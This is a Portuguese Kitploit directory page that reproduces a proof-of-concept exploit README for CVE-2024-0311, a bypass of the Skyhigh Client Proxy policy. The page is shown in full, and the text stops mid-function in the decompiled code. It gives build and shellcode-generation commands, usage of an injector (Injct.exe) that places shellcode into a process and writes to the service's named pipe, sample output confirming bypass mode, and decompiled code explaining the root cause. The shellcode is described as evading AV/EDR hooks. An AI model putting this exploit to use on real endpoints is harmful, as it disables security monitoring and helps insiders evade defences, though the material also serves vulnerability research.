Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-0311 — Prova de conceito de exploit para CVE-2024-0311 contornando a política do Skyhigh Client Proxy via injeção de processo e manipulação de pipe nomeado, com shellcode personalizado para evadir restrições de AV/EDR. | Kitploit
Ferramentas/GitHubGitHub/calligraf0/cve-2024-0311
Escalada de PrivilégiosExploraçãoEvasão de IDS/IPSEngenharia ReversaShellcodeDesenvolvimento de PayloadsExploração de Binários
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Prova de conceito de exploit para CVE-2024-0311 contornando a política do Skyhigh Client Proxy via injeção de processo e manipulação de pipe nomeado, com shellcode personalizado para evadir restrições de AV/EDR.

Ver Repositório
9222há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-0311 ?

Este é um PoC para o que acredito ser CVE-2024-0311, SB10418.

Um insider malicioso pode contornar a política existente do Skyhigh Client Proxy sem um código de liberação válido.

Muitos detalhes. Muito exploit. ¯\(ツ)/¯

O PoC injeta em um processo executado pelo usuário SCPBypass.exe e escreve no pipe do SCPService.exe: \\.\pipe\MCPTrayPipe0. A injeção é necessária pois, mesmo que o pipe seja RW Everyone, algumas verificações são feitas no executável que escreve no pipe por WGUARDNT (o caminho do escritor é verificado), veja abaixo.

Um shellcode de exemplo é fornecido que permite a execução do WriteFile no pipe mesmo se Trellix/McAfee estiverem em execução e fazendo hook/block em LoadLibrary.

Compilar

Compile em Debug ou Release pelo Visual Studio

Shellcode

Gere o shellcode via:

cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

depois substitua o shellcode em shellcode.c.

Usage

Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Exemplo de saída:

PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Se tudo ocorrer bem, nos arquivos de log do SCP você deve encontrar uma entrada semelhante a esta:

10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Explicação

Esta será uma breve explicação, porque ninguém tem tempo para palavras.

Skyhigh Proxy Client

Primeiramente, o que é o Skyhigh Proxy Client?

O software Skyhigh Security Client Proxy ajuda a proteger os usuários de endpoint contra ameaças de segurança que surgem quando eles acessam a web de dentro ou fora da sua rede. O software cliente, que é instalado em endpoints executando Microsoft Windows ou macOS, redireciona requisições web ou permite que elas continuem para um proxy para filtragem. O software servidor roda em uma das plataformas de gerenciamento: Trellix ePO SaaS ou Trellix ePO Cloud.

Isso deve esclarecer.

Qual é a causa raiz?

Dadas as informações do aviso, não há muito por onde ir. Para ser honesto, eu estava analisando o serviço binário para encontrar problemas fáceis de explorar para LPE quando vi o CreateNamedPipe e fiquei interessado.

Aqui está uma cópia rápida do código descompilado do Ghidra:

void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Como podemos ver, uma vez que a função é chamada, uma nova struct DACL é inicializada e um novo pipe \\.\pipe\MCPTrayPipe0 é criado em byte mode.

Então, enquanto o handle para tal pipe for válido, o programa lê dele e tenta converter os bytes enviados de ASCII para int com atoi(out_lpBuffer).

Ignorando o fato de que existem alternativas melhores ao atoi, assumindo que a chamada para atoi não falhou, o valor convertido é passado para FUN_14022d5b0:


undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];
Baixar ferramenta